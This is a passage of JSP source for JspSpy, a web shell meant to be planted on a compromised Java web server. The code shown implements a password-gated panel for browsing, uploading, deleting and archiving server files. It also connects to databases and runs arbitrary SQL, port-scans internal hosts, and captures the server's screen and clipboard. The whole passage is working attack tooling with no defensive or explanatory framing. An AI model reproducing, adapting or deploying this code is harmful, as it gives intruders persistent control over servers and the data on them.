} catch( Exception e ){
}
}
}
private static class Table{
private ArrayList<Row> rows = null;
private boolean echoTableTag = false;
public void setEchoTableTag(boolean v) {
this.echoTableTag = v;
}
public Table(){
this.rows = new ArrayList<Row>();
}
public void addRow(Row r) {
this.rows.add(r);
}
public String toString(){
StringBuilder html = new StringBuilder();
if (echoTableTag)
html.append("<table>");
for (Row r:rows) {
html.append("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">");
for (Column c:r.getColumns()) {
html.append("<td nowrap>");
String vv = Util.htmlEncode(Util.getStr(c.getValue()));
if (vv.equals(""))
vv = "&nbsp;";
html.append(vv);
html.append("</td>");
}
html.append("</tr>");
}
if (echoTableTag)
html.append("</table>");
return html.toString();
}
}
private static class Row{
private ArrayList<Column> cols = null;
public Row(){
this.cols = new ArrayList<Column>();
}
public void addColumn(Column n) {
this.cols.add(n);
}
public ArrayList<Column> getColumns(){
return this.cols;
}
}
private static class Column{
private String value;
public Column(String v){
this.value = v;
}
public String getValue(){
return this.value;
}
}
private static class Util{
public static boolean isEmpty(String s) {
return s == null || s.trim().equals("");
}
public static boolean isEmpty(Object o) {
return o == null || isEmpty(o.toString());
}
public static String getSize(long size,char danwei) {
if (danwei == 'M') {
double v =  formatNumber(size / 1024.0 / 1024.0,2);
if (v > 1024) {
return getSize(size,'G');
}else {
return v + "M";
}
} else if (danwei == 'G') {
return formatNumber(size / 1024.0 / 1024.0 / 1024.0,2)+"G";
} else if (danwei == 'K') {
double v = formatNumber(size / 1024.0,2);
if (v > 1024) {
return getSize(size,'M');
} else {
return v + "K";
}
} else if (danwei == 'B') {
if (size > 1024) {
return getSize(size,'K');
}else {
return size + "B";
}
}
return ""+0+danwei;
}
public static double formatNumber(double value,int l) {
NumberFormat format = NumberFormat.getInstance();
format.setMaximumFractionDigits(l);
format.setGroupingUsed(false);
return new Double(format.format(value));
}
public static boolean isInteger(String v) {
if (isEmpty(v))
return false;
return v.matches("^\\d+$");
}
public static String formatDate(long time) {
SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
return format.format(new java.util.Date(time));
}
public static String convertPath(String path) {
return path != null ? path.replace("\\","/") : "";
}
public static String htmlEncode(String v) {
if (isEmpty(v))
return "";
return v.replace("&","&amp;").replace("<","&lt;").replace(">","&gt;");
}
public static String getStr(String s) {
return s == null ? "" :s;
}
public static String getStr(Object s) {
return s == null ? "" :s.toString();
}
public static String exec(String regex, String str, int group) {
Pattern pat = Pattern.compile(regex);
Matcher m = pat.matcher(str);
if (m.find())
return m.group(group);
return null;
}
public static void outMsg(Writer out,String msg) throws Exception {
outMsg(out,msg,"center");
}
public static void outMsg(Writer out,String msg,String align) throws Exception {
if (msg.indexOf("java.lang.ClassNotFoundException") != -1)
msg = "Can Not Find The Driver!<br/>" + msg;
out.write("<div style=\"background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:"+align+";font-weight:bold;margin:10px\">"+msg+"</div>");
}
}
private static class UploadBean {
private String fileName = null;
private String suffix = null;
private String savePath = "";
private ServletInputStream sis = null;
private byte[] b = new byte[1024];
public UploadBean() {
}
public void setSavePath(String path) {
this.savePath = path;
}
public void parseRequest(HttpServletRequest request) throws IOException {
sis = request.getInputStream();
int a = 0;
int k = 0;
String s = "";
while ((a = sis.readLine(b,0,b.length))!= -1) {
s = new String(b, 0, a,PAGE_CHARSET);
if ((k = s.indexOf("filename=\""))!= -1) {
s = s.substring(k + 10);
k = s.indexOf("\"");
s = s.substring(0, k);
File tF = new File(s);
if (tF.isAbsolute()) {
fileName = tF.getName();
} else {
fileName = s;
}
k = s.lastIndexOf(".");
suffix = s.substring(k + 1);
upload();
}
}
}
private void upload() {
try {
FileOutputStream out = new FileOutputStream(new File(savePath,fileName));
int a = 0;
int k = 0;
String s = "";
while ((a = sis.readLine(b,0,b.length))!=-1) {
s = new String(b, 0, a);
if ((k = s.indexOf("Content-Type:"))!=-1) {
break;
}
}
sis.readLine(b,0,b.length);
while ((a = sis.readLine(b,0,b.length)) != -1) {
s = new String(b, 0, a);
if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) {
break;
}
out.write(b, 0, a);
}
out.close();
} catch (IOException ioe) {
ioe.printStackTrace();
}
}
}
%>
<%
SHELL_NAME = request.getServletPath().substring(request.getServletPath().lastIndexOf("/")+1);
String myAbsolutePath = application.getRealPath(request.getServletPath());
if (Util.isEmpty(myAbsolutePath)) {//for weblogic
SHELL_NAME = request.getServletPath();
myAbsolutePath = new File(application.getResource("/").getPath()+SHELL_NAME).toString();
SHELL_NAME=request.getContextPath()+SHELL_NAME;
WEB_ROOT = new File(application.getResource("/").getPath()).toString();
} else {
WEB_ROOT = application.getRealPath("/");
}
SHELL_DIR = Util.convertPath(myAbsolutePath.substring(0,myAbsolutePath.lastIndexOf(File.separator)));
if (session.getAttribute(CURRENT_DIR) == null)
session.setAttribute(CURRENT_DIR,Util.convertPath(SHELL_DIR));
request = new MyRequest(request);
if (session.getAttribute(PW_SESSION_ATTRIBUTE) == null || !(session.getAttribute(PW_SESSION_ATTRIBUTE)).equals(PW)) {
String o = request.getParameter("o");
if (o != null &&  o.equals("login")) {
ins.get("login").invoke(request,response,session);
return;
} else if (o != null && o.equals("vLogin")) {
ins.get("vLogin").invoke(request,response,session);
return;
} else {
response.sendRedirect(SHELL_NAME+"?o=vLogin");
return;
}
}
%>
<%!
private static interface Invoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception;
public boolean doBefore();
public boolean doAfter();
}
private static class DefaultInvoker implements Invoker{
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception {
}
public boolean doBefore(){
return true;
}
public boolean doAfter() {
return true;
}
}
private static class ScriptInvoker extends DefaultInvoker{
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
out.println("<script type=\"text/javascript\">"+
" String.prototype.trim = function(){return this.replace(/^\\s+|\\s+$/,'');};"+
" function fso(obj) {"+
"  this.currentDir = '"+JSession.getAttribute(CURRENT_DIR)+"';"+
"  this.filename = obj.filename;"+
"  this.path = obj.path;"+
"  this.filetype = obj.filetype;"+
" };"+
" fso.prototype = {"+
"  copy:function(){"+
"   var path = prompt('Copy To : ',this.path);"+
"   if (path == null || path.trim().length == 0 || path.trim() == this.path)return;"+
"   doPost({o:'copy',src:this.path,to:path});"+
"  },"+
"  move:function() {"+
"   var path =prompt('Move To : ',this.path);"+
"   if (path == null || path.trim().length == 0 || path.trim() == this.path)return;"+
"   doPost({o:'move',src:this.path,to:path})"+
"  },"+
"  vEdit:function() {"+
"   doPost({o:'vEdit',filepath:this.path})"+
"  },"+
"  down:function() {"+
"   doPost({o:'down',path:this.path})"+
"  },"+
"  removedir:function() {"+
"   if (!confirm('Dangerous ! Are You Sure To Delete '+this.filename+'?'))return;"+
"   doPost({o:'removedir',dir:this.path});"+
"  },"+
"  mkdir:function() {"+
"   var name = prompt('Input New Directory Name','');"+
"   if (name == null || name.trim().length == 0)return;"+
"   doPost({o:'mkdir',name:name});"+
"  },"+
"  subdir:function() {"+
"   doPost({o:'filelist',folder:this.path})"+
"  },"+
"  parent:function() {"+
"   var parent=(this.path.substr(0,this.path.lastIndexOf(\"/\")))+'/';"+
"   doPost({o:'filelist',folder:parent})"+
"  },"+
"  createFile:function() {"+
"   var path = prompt('Input New File Name','');"+
"   if (path == null || path.trim().length == 0) return;"+
"   doPost({o:'vCreateFile',filepath:path})"+
"  },"+
"  deleteBatch:function() {"+
"   if (!confirm('Are You Sure To Delete These Files?')) return;"+
"   var selected = new Array();"+
"   var inputs = document.getElementsByTagName('input');"+
"   for (var i = 0;i<inputs.length;i++){if(inputs[i].checked){selected.push(inputs[i].value)}}"+
"   if (selected.length == 0) {alert('No File Selected');return;}"+
"   doPost({o:'deleteBatch',files:selected.join(',')})"+
"  },"+
"  packBatch:function() {"+
"   var selected = new Array();"+
"   var inputs = document.getElementsByTagName('input');"+
"   for (var i = 0;i<inputs.length;i++){if(inputs[i].checked){selected.push(inputs[i].value)}}"+
"   if (selected.length == 0) {alert('No File Selected');return;}"+
"   var savefilename = prompt('Input Target File Name(Only Support ZIP)','pack.zip');"+
"   if (savefilename == null || savefilename.trim().length == 0)return;"+
"   doPost({o:'packBatch',files:selected.join(','),savefilename:savefilename})"+
"  },"+
"  pack:function() {"+
"   var tmpName = '';"+
"   if (this.filename.indexOf('.') == -1) tmpName = this.filename;"+
"   else tmpName = this.filename.substr(0,this.filename.lastIndexOf('.'));"+
"   tmpName += '.zip';"+
"   var path = this.path;"+
"   var name = prompt('Input Target File Name (Only Support Zip)',tmpName);"+
"   if (name == null || path.trim().length == 0) return;"+
"   doPost({o:'pack',packedfile:path,savefilename:name})"+
"  },"+
"  vEditProperty:function() {"+
"   var path = this.path;"+
"   doPost({o:'vEditProperty',filepath:path})"+
"  },"+
"  unpack:function() {"+
"   var path = prompt('unpack to : ',this.currentDir+'/'+this.filename.substr(0,this.filename.lastIndexOf('.')));"+
"   if (path == null || path.trim().length == 0) return;"+
"   doPost({o:'unpack',savepath:path,zipfile:this.path})"+
"  }"+
" };"+
" function doPost(obj) {"+
"  var form = document.forms[\"doForm\"];"+
"  var elements = form.elements;for (var i = form.length - 1;i>=0;i--){form.removeChild(elements[i])}"+
"  for (var pro in obj)"+
"  {"+
"   var input = document.createElement(\"input\");"+
"   input.type = \"hidden\";"+
"   input.name = pro;"+
"   input.value = obj[pro];"+
"   form.appendChild(input);"+
"  }"+
"  form.submit();"+
" }"+
"</script>");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class BeforeInvoker extends  DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
out.println("<html><head><title>JspSpy Codz By - Ninty</title><style type=\"text/css\">"+
"body,td{font: 12px Arial,Tahoma;line-height: 16px;}"+
".input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}"+
".area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}"+
".bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}"+
"a {color: #00f;text-decoration:underline;}"+
"a:hover{color: #f00;text-decoration:none;}"+
".alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}"+
".alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}"+
".focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}"+
".head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}"+
".head td span{font-weight:normal;}"+
"form{margin:0;padding:0;}"+
"h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}"+
"ul.info li{margin:0;color:#444;line-height:24px;height:24px;}"+
"u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}"+
".secho{height:400px;width:100%;overflow:auto;border:none}"+
"</style></head><body style=\"margin:0;table-layout:fixed; word-break:break-all\">");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class AfterInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
out.println("</body></html>");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class DeleteBatchInvoker extends DefaultInvoker {
public boolean doBefore(){return false;}
public boolean doAfter(){return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
String files = request.getParameter("files");
if (!Util.isEmpty(files)) {
String currentDir = JSession.getAttribute(CURRENT_DIR).toString();
String[] arr = files.split(",");
for (String fs:arr) {
File f = new File(currentDir,fs);
f.delete();
}
}
JSession.setAttribute(MSG,"Delete Files Success!");
response.sendRedirect(SHELL_NAME+"?o=index");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class ClipBoardInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
"  <tr>"+
"    <td>"+
"        <h2>System Clipboard &raquo;</h2>"+
"<p><pre>");
try{
out.println(Util.htmlEncode(Util.getStr(Toolkit.getDefaultToolkit().getSystemClipboard().getData(DataFlavor.stringFlavor))));
}catch (Exception ex) {
out.println("ClipBoard is Empty Or Is Not Text Data !");
}
out.println("</pre>"+
"          <input class=\"bt\" name=\"button\" id=\"button\" onClick=\"history.back()\" value=\"Back\" type=\"button\" size=\"100\"  />"+
"        </p>"+
"      </td>"+
"  </tr>"+
"</table>");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class VRemoteControlInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
out.println("<script type=\"text/javascript\">"+
" var interval = null;"+
" function a(btn) {"+
"  if (btn.value == \"Stop\")"+
"  {"+
"   sstopClick(btn);"+
"  } else {"+
"   startClick(btn);"+
"  }"+
" }"+
" function startClick(btn){"+
"  btn.value = \"Stop\";"+
"  var pl = document.getElementById(\"pl\").value;"+
"  interval = setInterval(function(){"+
"   var img = document.getElementById(\"screen\");"+
"   img.src = \""+SHELL_NAME+"?o=gc&rnd=\"+Math.random();"+
"  },parseInt(pl)*1000);"+
" }"+
" function sstopClick(btn) {"+
"  clearInterval(interval);"+
"  btn.value = \"Start\";"+
" }"+
"  </script>");
out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
"  <tr>"+
"    <td>"+
"        <h2>Remote Control &raquo;</h2><input class=\"bt\" οnclick=\"var img = document.getElementById('screen').src='"+SHELL_NAME+"?o=gc&rnd='+Math.random();\" name=\"getsc\" id=\"getsc\" value=\"Get Screen\" type=\"button\" size=\"100\"  />"+
"          <input class=\"bt\" name=\"button\" id=\"button\" onClick=\"a(this)\" value=\"Start\" type=\"button\" size=\"100\"  /> Speed(Second , dont be so fast)  <input type='text' value='3' size='5' id='pl' name='pl'/>  Can Not Control Yet."+
"        <hr/><p><img id='screen' src='x'/></p>"+
"      </td>"+
"  </tr>"+
"</table>");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
//GetScreen
private static class GcInvoker extends DefaultInvoker {
public boolean doBefore(){return false;}
public boolean doAfter(){return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
Dimension size = Toolkit.getDefaultToolkit().getScreenSize();
Rectangle rec = new Rectangle(0,0,(int)size.getWidth(),(int)size.getHeight());
BufferedImage img = new Robot().createScreenCapture(rec);
response.setContentType("p_w_picpath/jpeg");
ImageIO.write(img,"jpg",response.getOutputStream());
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class VPortScanInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
String ip = request.getParameter("ip");
String ports = request.getParameter("ports");
String timeout = request.getParameter("timeout");
if (Util.isEmpty(ip))
ip = "127.0.0.1";
if (Util.isEmpty(ports))
ports = "21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500";
if (Util.isEmpty(timeout))
timeout = "2";
out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
"<h2 id=\"Bin_H2_Title\">PortScan &gt;&gt;</h2>"+
"<div id=\"YwLB\"><form action=\""+SHELL_NAME+"\" method=\"post\">"+
"<p><input type=\"hidden\" value=\"portScan\" name=\"o\">"+
"IP : <input name=\"ip\" type=\"text\" value=\""+ip+"\" id=\"ip\" class=\"input\" style=\"width:10%;margin:0 8px;\" /> Port : <input name=\"ports\" type=\"text\" value=\""+ports+"\" id=\"ports\" class=\"input\" style=\"width:40%;margin:0 8px;\" /> Timeout ?????: <input name=\"timeout\" type=\"text\" value=\""+timeout+"\" id=\"timeout\" class=\"input\" size=\"5\" style=\"margin:0 8px;\" /> <input type=\"submit\" name=\"submit\" value=\"Scan\" id=\"submit\" class=\"bt\" />"+
"</p>"+
"</form></div>"+
"</td></tr></table>");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class PortScanInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
ins.get("vPortScan").invoke(request,response,JSession);
String ip = request.getParameter("ip");
String ports = request.getParameter("ports");
String timeout = request.getParameter("timeout");
int iTimeout = 0;
if (Util.isEmpty(ip) || Util.isEmpty(ports))
return;
if (!Util.isInteger(timeout)) {
timeout = "2";
}
iTimeout = Integer.parseInt(timeout);
Map<String,String> rs = new LinkedHashMap<String,String>();
String[] portArr = ports.split(",");
for (String port:portArr) {
try {
Socket s = new Socket();
s.connect(new InetSocketAddress(ip,Integer.parseInt(port)),iTimeout);
s.close();
rs.put(port,"Open");
} catch (Exception e) {
rs.put(port,"Close");
}
}
out.println("<div style='margin:10px'>");
Set<Map.Entry<String,String>> entrySet = rs.entrySet();
for (Map.Entry<String,String> e:entrySet) {
String port = e.getKey();
String value = e.getValue();
out.println(ip+" : "+port+" ................................. <font color="+(value.equals("Open")?"green":"red")+"><b>"+value+"</b></font><br>");
}
out.println("</div>");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class VConnInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
Object obj = JSession.getAttribute(DBO);
if (obj == null || !((DBOperator)obj).isValid()) {
out.println("  <script type=\"text/javascript\">"+
" function changeurldriver(){"+
"  var form = document.forms[\"form1\"];"+
"  var v = form.elements[\"db\"].value;"+
"  form.elements[\"url\"].value = v.split(\"`\")[1];"+
"  form.elements[\"driver\"].value = v.split(\"`\")[0];"+
"  form.elements[\"selectDb\"].value = form.elements[\"db\"].selectedIndex;"+
" }"+
"  </script>");
out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
"<input type=\"hidden\" id=\"selectDb\" name=\"selectDb\" value=\"0\">"+
"<h2>DataBase Manager &raquo;</h2>"+
"<input id=\"action\" type=\"hidden\" name=\"o\" value=\"dbc\" />"+
"<p>"+
"Driver:"+
"  <input class=\"input\" name=\"driver\" id=\"driver\" type=\"text\" size=\"35\"  />"+
"URL:"+
"<input class=\"input\" name=\"url\" id=\"url\" value=\"\" type=\"text\" size=\"90\"  />"+
"UID:"+
"<input class=\"input\" name=\"uid\" id=\"uid\" value=\"\" type=\"text\" size=\"10\"  />"+
"PWD:"+
"<input class=\"input\" name=\"pwd\" id=\"pwd\" value=\"\" type=\"text\" size=\"10\"  />"+
"DataBase:"+
" <select οnchange='changeurldriver()' class=\"input\" id=\"db\" name=\"db\" >"+
" <option value='com.mysql.jdbc.Driver`jdbc:mysql://localhost:3306/mysql?useUnicode=true&characterEncoding=GBK'>Mysql</option>"+
" <option value='oracle.jdbc.driver.OracleDriver`jdbc:oracle:thin:@dbhost:1521:ORA1'>Oracle</option>"+
" <option value='com.microsoft.jdbc.sqlserver.SQLServerDriver`jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=master'>Sql Server</option>"+
" <option value='sun.jdbc.odbc.JdbcOdbcDriver`jdbc:odbc:Driver={Microsoft Access Driver (*.mdb)};DBQ=C:\\ninty.mdb'>Access</option>"+
" <option value=' ` '>Other</option>"+
" </select>"+
"<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"Connect\" type=\"submit\" size=\"100\"  />"+
"</p>"+
"</form></table><script>changeurldriver()</script>");
} else {
ins.get("dbc").invoke(request,response,JSession);
}
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
//DBConnect
private static class DbcInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
String driver = request.getParameter("driver");
String url = request.getParameter("url");
String uid = request.getParameter("uid");
String pwd = request.getParameter("pwd");
String sql = request.getParameter("sql");
String selectDb = request.getParameter("selectDb");
if (selectDb == null)
selectDb = JSession.getAttribute("selectDb").toString();
else
JSession.setAttribute("selectDb",selectDb);
Object dbo = JSession.getAttribute(DBO);
if (dbo == null || !((DBOperator)dbo).isValid()) {
if (dbo != null)
((DBOperator)dbo).close();
dbo = new DBOperator(driver,url,uid,pwd,true);
} else {
if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)) {
DBOperator oldDbo = (DBOperator)dbo;
dbo = new DBOperator(driver,url,uid,pwd);
if (!oldDbo.equals(dbo)) {
((DBOperator)oldDbo).close();
((DBOperator)dbo).connect();
} else {
dbo = oldDbo;
}
}
}
DBOperator Ddbo = (DBOperator)dbo;
JSession.setAttribute(DBO,Ddbo);
Util.outMsg(out,"Connect To DataBase Success!");
out.println("  <script type=\"text/javascript\">"+
" function changeurldriver(selectDb){"+
"  var form = document.forms[\"form1\"];"+
"  if (selectDb){"+
"   form.elements[\"db\"].selectedIndex = selectDb"+
"  }"+
"  var v = form.elements[\"db\"].value;"+
"  form.elements[\"url\"].value = v.split(\"`\")[1];"+
"  form.elements[\"driver\"].value = v.split(\"`\")[0];"+
"  form.elements[\"selectDb\"].value = form.elements[\"db\"].selectedIndex;"+
" }"+
"  </script>");
out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
"<input type=\"hidden\" id=\"selectDb\" name=\"selectDb\" value=\""+selectDb+"\">"+
"<h2>DataBase Manager &raquo;</h2>"+
"<input id=\"action\" type=\"hidden\" name=\"o\" value=\"dbc\" />"+
"<p>"+
"Driver:"+
"  <input class=\"input\" name=\"driver\" value=\""+Ddbo.driver+"\" id=\"driver\" type=\"text\" size=\"35\"  />"+
"URL:"+
"<input class=\"input\" name=\"url\" value=\""+Ddbo.url+"\" id=\"url\" value=\"\" type=\"text\" size=\"90\"  />"+
"UID:"+
"<input class=\"input\" name=\"uid\" value=\""+Ddbo.uid+"\" id=\"uid\" value=\"\" type=\"text\" size=\"10\"  />"+
"PWD:"+
"<input class=\"input\" name=\"pwd\" value=\""+Ddbo.pwd+"\" id=\"pwd\" value=\"\" type=\"text\" size=\"10\"  />"+
"DataBase:"+
" <select οnchange='changeurldriver()' class=\"input\" id=\"db\" name=\"db\" >"+
" <option value='com.mysql.jdbc.Driver`jdbc:mysql://localhost:3306/mysql?useUnicode=true&characterEncoding=GBK'>Mysql</option>"+
" <option value='oracle.jdbc.driver.OracleDriver`jdbc:oracle:thin:@dbhost:1521:ORA1'>Oracle</option>"+
" <option value='com.microsoft.jdbc.sqlserver.SQLServerDriver`jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=master'>Sql Server</option>"+
" <option value='sun.jdbc.odbc.JdbcOdbcDriver`jdbc:odbc:Driver={Microsoft Access Driver (*.mdb)};DBQ=C:/ninty.mdb'>Access</option>"+
" <option value=' ` '>Other</option>"+
" </select>"+
"<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"Connect\" type=\"submit\" size=\"100\"  />"+
"</p>"+
"</form><script>changeurldriver('"+selectDb+"')</script>");
out.println("<form action=\""+SHELL_NAME+"\" method=\"POST\">"+
"<p><input type=\"hidden\" name=\"selectDb\" value=\""+selectDb+"\"><input type=\"hidden\" name=\"o\" value=\"executesql\"><table width=\"200\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr><td colspan=\"2\">Run SQL query/queries on database :</td></tr><tr><td><textarea name=\"sql\" class=\"area\" style=\"width:600px;height:50px;overflow:auto;\">"+Util.htmlEncode(Util.getStr(sql))+"</textarea></td><td style=\"padding:0 5px;\"><input class=\"bt\" style=\"height:50px;\" name=\"submit\" type=\"submit\" value=\"Query\" /></td></tr></table></p></form></table>");
} catch (Exception e) {
//e.printStackTrace();
throw e;
}
}
}
private static class ExecuteSQLInvoker extends DefaultInvoker{
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
String sql = request.getParameter("sql");
String db = request.getParameter("selectDb");
Object dbo = JSession.getAttribute(DBO);
if (!Util.isEmpty(sql)) {
if (dbo == null || !((DBOperator)dbo).isValid()) {
response.sendRedirect(SHELL_NAME+"?o=vConn");
} else {
ins.get("dbc").invoke(request,response,JSession);
Object obj = ((DBOperator)dbo).execute(sql);
if (obj instanceof ResultSet) {
ResultSet rs = (ResultSet)obj;
ResultSetMetaData meta = rs.getMetaData();
int colCount = meta.getColumnCount();
out.println("<div style='padding:10px'><p><b>Query#0 : "+Util.htmlEncode(sql)+"</b></p>");
out.println("<table border=\"0\" cellpadding=\"3\" cellspacing=\"0\"><tr class=\"head\">");
for (int i=1;i<=colCount;i++) {
out.println("<td nowrap>"+meta.getColumnName(i)+"<br><span>"+meta.getColumnTypeName(i)+"</span></td>");
}
out.println("</tr>");
Table tb = new Table();
while(rs.next()) {
Row r = new Row();
for (int i = 1;i<=colCount;i++) {
r.addColumn(new Column(rs.getString(i)));
}
tb.addRow(r);
}
out.println(tb.toString());
out.println("</table></div>");
rs.close();
((DBOperator)dbo).closeStmt();
} else {
out.println("<div style='margin:10px'><h2>affected rows : <b>"+obj+"</b></h2></div>");
}
}
} else {
ins.get("dbc").invoke(request,response,JSession);
}
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class VLoginInvoker extends DefaultInvoker {
public boolean doBefore() {return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
out.println("<style type=\"text/css\">"+
" input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}"+
"a{font:11px Verdana;BACKGROUND: #FFFFFF;}"+
" </style><form method=\"POST\" action=\""+SHELL_NAME+"\">"+
"   <p><span style=\"font:11px Verdana;\">Password: </span>"+
"        <input name=\"o\" type=\"hidden\" value=\"login\">"+
"        <input name=\"pw\" type=\"password\" size=\"20\">"+
"        <input type=\"hidden\" name=\"o\" value=\"login\">"+
"        <input type=\"submit\" value=\"Login\"><br/><br/>"+
"   "+
"<span style=\"font:11px Verdana;\">Copyright &copy; 2009 NinTy </span><a href=\"http://www.forjj.com\" target=\"_blank\">www.Forjj.com</a></p>"+
"    </form>");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class LoginInvoker extends DefaultInvoker{
public boolean doBefore() {return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
String inputPw = request.getParameter("pw");
if (Util.isEmpty(inputPw) || !inputPw.equals(PW)) {
response.sendRedirect(SHELL_NAME+"?o=vLogin");
return;
} else {
JSession.setAttribute(PW_SESSION_ATTRIBUTE,inputPw);
response.sendRedirect(SHELL_NAME+"?o=index");
return;
}
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class MyComparator implements Comparator<File>{
public int compare(File f1,File f2) {
if (f1 != null && f2!= null) {
if (f1.isDirectory()) {
if (f2.isDirectory()) {
return f1.getName().compareTo(f2.getName());
} else {
return -1;
}
} else {
if (f2.isDirectory()) {
return 1;
} else {
return  f1.getName().compareTo(f2.getName());
}
}
}
return 0;
}
}
private static class FileListInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception {
try {
PrintWriter out = response.getWriter();
String path = request.getParameter("folder");
if (Util.isEmpty(path))
path = JSession.getAttribute(CURRENT_DIR).toString();
JSession.setAttribute(CURRENT_DIR,Util.convertPath(path));
File file = new File(path);
if (!file.exists()) {
throw new Exception(path+"Dont Exists !");
}
JSession.setAttribute(CURRENT_DIR,path);
File[] list = file.listFiles();
Arrays.sort(list,new MyComparator());
out.println("<div style='margin:10px'>");
String cr = null;
try {
cr = JSession.getAttribute(CURRENT_DIR).toString().substring(0,3);
}catch(Exception e) {
cr = "/";
}
File currentRoot = new File(cr);
out.println("<h2>File Manager - Current disk &quot;"+(cr.indexOf("/") == 0?"/":currentRoot.getPath())+"&quot; total "+Util.getSize(currentRoot.getTotalSpace(),'G')+"</h2>");
out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
"<table width=\"98%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
"  <tr>"+
"    <td nowrap>Current Directory  <input type=\"hidden\" name=\"o\" value=\"filelist\"/></td>"+
" <td width=\"98%\"><input class=\"input\" name=\"folder\" value=\""+JSession.getAttribute(CURRENT_DIR)+"\" type=\"text\" style=\"width:100%;margin:0 8px;\"></td>"+
"    <td nowrap><input class=\"bt\" value=\"GO\" type=\"submit\"></td>"+
"  </tr>"+
"</table>"+
"</form>");
out.println("<table width=\"98%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\">"+
"<form action=\""+SHELL_NAME+"?o=upload\" method=\"POST\" enctype=\"multipart/form-data\"><tr class=\"alt1\"><td colspan=\"7\" style=\"padding:5px;\">"+
